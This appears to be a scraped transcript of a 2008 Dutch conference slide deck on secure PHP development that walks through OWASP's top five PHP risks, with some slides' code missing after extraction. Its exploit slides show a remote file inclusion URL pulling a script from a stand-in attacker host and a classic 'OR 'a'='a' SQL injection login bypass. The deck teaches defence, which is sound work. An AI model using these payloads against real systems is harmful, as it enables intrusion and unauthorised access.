Php Secure Application Development Robert Van Der Linde
-
Upload
phpseminar -
Category
Economy & Finance
-
view
1.941 -
download
0
Transcript of Php Secure Application Development Robert Van Der Linde
![Page 1: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/1.jpg)
PHP Secure Application Development
Robert van der Linde Vianen, 22 april 2008
![Page 2: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/2.jpg)
Wie ben ik
• Robert van der Linde
• 5 jaar ervaring met PHP
• Zend Certified Engineer
• Oprichter PaSS-PHP Kerngroep
![Page 3: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/3.jpg)
PHP is veilig Ongetrainde ontwikkelaars niet
![Page 4: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/4.jpg)
PHP & Secure application development
• PHP legt geen verplichtingen op aan ontwikkelaars
• PHP bevat krachtige componenten die ontwikkelaars kunnen gebruiken om veilige applicaties te ontwikkelen
![Page 5: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/5.jpg)
Agenda: Owasp top 5
• Remote Code Execution • Cross-site scripting (XSS) • SQL Injection • File system attacks • PHP Configuration
![Page 6: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/6.jpg)
OWASP top 5: Remote Code Exectution
• Remote Code Execution • Cross-site scripting (XSS) • SQL Injection
• File system attacks • PHP Configuration
![Page 7: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/7.jpg)
Remote code execution
• Uitvoeren van arbitraire code door een externe partij
• Hierdoor kan een kwaadwillend persoon eigen code uitvoeren op de server
![Page 8: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/8.jpg)
Fout:
http://host.com/index.php?file=contact
![Page 9: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/9.jpg)
Exploit
http://host.com/index.php?file=http%3A%2F%2F evil.hacker.org%2Fmyscript.txt
Myscript.txt.php:
![Page 10: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/10.jpg)
Exploit
http://host.com/index.php?file=http%3A%2F%2F evil.hacker.org%2Fmyscript.txt
Myscript.txt.php:
![Page 11: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/11.jpg)
Oplossing
http://host.com/index.php?file=contact
![Page 12: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/12.jpg)
Remote code execution
• Voorkomen door: > Input validatie > Voorkomen van arbitraire includes door
switch() of in_array() > Allow_url_fopen: Off > Vermijden van eval() > Whitelisting, geen blacklisting
![Page 13: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/13.jpg)
OWASP top 5
• Remote Code Execution • Cross-site scripting (XSS) • SQL Injection
• File system attacks • PHP Configuration
![Page 14: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/14.jpg)
Cross Site Scripting (XSS)
• Een kwaadwillend script wordt terug gegeven in de HTML van een vertrouwde site, waardoor het wordt uitgevoerd
• Dit script kan gebruikt worden om gevoelige gegevens te verkrijgen
![Page 15: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/15.jpg)
Voorbeeld
• MySpace • Een gebruiker plaatst een ajax call
op zijn profiel • Deze call voegt de gebruiker toe
als vriend van de huidige bezoeker • Deze call kopieert bovendien deze
code in het profiel van de huidige gebruiker
![Page 16: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/16.jpg)
Fout
http://host.com/gb/addmessage.php
![Page 17: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/17.jpg)
Exploit
• Door slechte of geen input validatie de volgende code opslaan en tonen aan een bezoeker
![Page 18: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/18.jpg)
Oplossing
http://host.com/gb/addmessage.php
![Page 19: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/19.jpg)
Cross Site Scripting
• Voorkomen door: > Alle variabelen initialiseren > Specifieke globals gebruiken zoals
$_POST / $_GET. Geen $_REQUEST > Register_globals UIT! > Input valideren op type, lengte & syntax > Whitelisting, geen blacklisting
![Page 20: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/20.jpg)
OWASP top 5
• Remote Code Execution • Cross-site scripting (XSS) • SQL Injection
• File system attacks • PHP Configuration
![Page 21: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/21.jpg)
SQL Injection
• Door de client aangeleverde data wordt verwerkt door de interpreter die de code ziet als een een SQL query
• Hierdoor kan een aanvaller toegang krijgen tot gevoelige informatie
![Page 22: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/22.jpg)
Fout
http://host.com/admin/login.php
![Page 23: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/23.jpg)
Exploit
• Aanvaller post: > USER: admin
PASS: test’ OR ‘a’=‘a
• Resulterende query: > SELECT * FROM USERS WHERE username=‘admin’ AND pass=‘test’ OR ‘a’=‘a’
![Page 24: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/24.jpg)
Oplossing
![Page 25: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/25.jpg)
SQL Injection
• Voorkomen door: > PDO’s prepared statements > mysql_real_escape_string() > Input checking op type, lengte & syntax > Error handling
![Page 26: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/26.jpg)
OWASP top 5
• Remote Code Execution • Cross-site scripting (XSS) • SQL Injection
• File system attacks • PHP Configuration
![Page 27: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/27.jpg)
File system attacks
• Door onder andere slecht afgestelde bestandpermissies kunnen PHP scripts toegang krijgen tot gevoelige informatie
![Page 28: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/28.jpg)
Exploit
• Bijvoorbeeld: > Gebruik maken van een shared host > Bestandspermissies en gebruikers/
groepen zijn voor iedere klant hetzelfde > Een kwaadwillende klant kan via het file
system gegevens van andere klanten lezen & bewerken.
![Page 29: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/29.jpg)
File system attacks
• Voorkomen door: > Permissies op de server correct in stellen > open_basedir: On > Geuploade bestanden niet toegankelijk
maken > Validatie op user input!
![Page 30: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/30.jpg)
OWASP top 5
• Remote Code Execution • Cross-site scripting (XSS) • SQL Injection
• File system attacks • PHP Configuration
![Page 31: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/31.jpg)
PHP Configuration
• Door slechte configuratie kunnen: > Aanvallers met minder moeite
beveiligingsgaten uitbuiten > Aanvallers meer schade aanrichten
• Standaard is PHP open geconfigureerd
![Page 32: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/32.jpg)
PHP Configuration
• Configuratie opties: > register_globals: Off > allow_url_fopen: Off > magic_quotes_gpc: Off > magic_quotes_runtime: Off > safe_mode: On* > open_basedir: On*
*mits goed geconfigureerd
![Page 33: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/33.jpg)
Overige kwetsbaarheden
• Hidden fields > Kunnen client side makkelijk bekeken
worden
• Client side validatie > Kan simpel omzeild worden
![Page 34: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/34.jpg)
Samenvattend
• Veel exploits komen voor door vertrouwen in een bezoeker • Bezoekers zijn per definitie niet te
vertrouwen • Denk als een aanvaller tijdens het
bouwen • Whitelisting vs blacklisting • PHP Security is een samenwerking
tussen programmeurs en systeembeheer
![Page 35: Php Secure Application Development Robert Van Der Linde](https://reader030.fdocuments.in/reader030/viewer/2022032616/55a58a951a28abd4138b4687/html5/thumbnails/35.jpg)
Afsluiting
• Referenties: > www.owasp.org
OWASP Top Ten OWASP PHP Top 5
• Contact: [email protected]
• Boeken:
Essential PHP security Chris Shiflett
php|architect’s Guide to PHP Security
Ilia Alshanetsky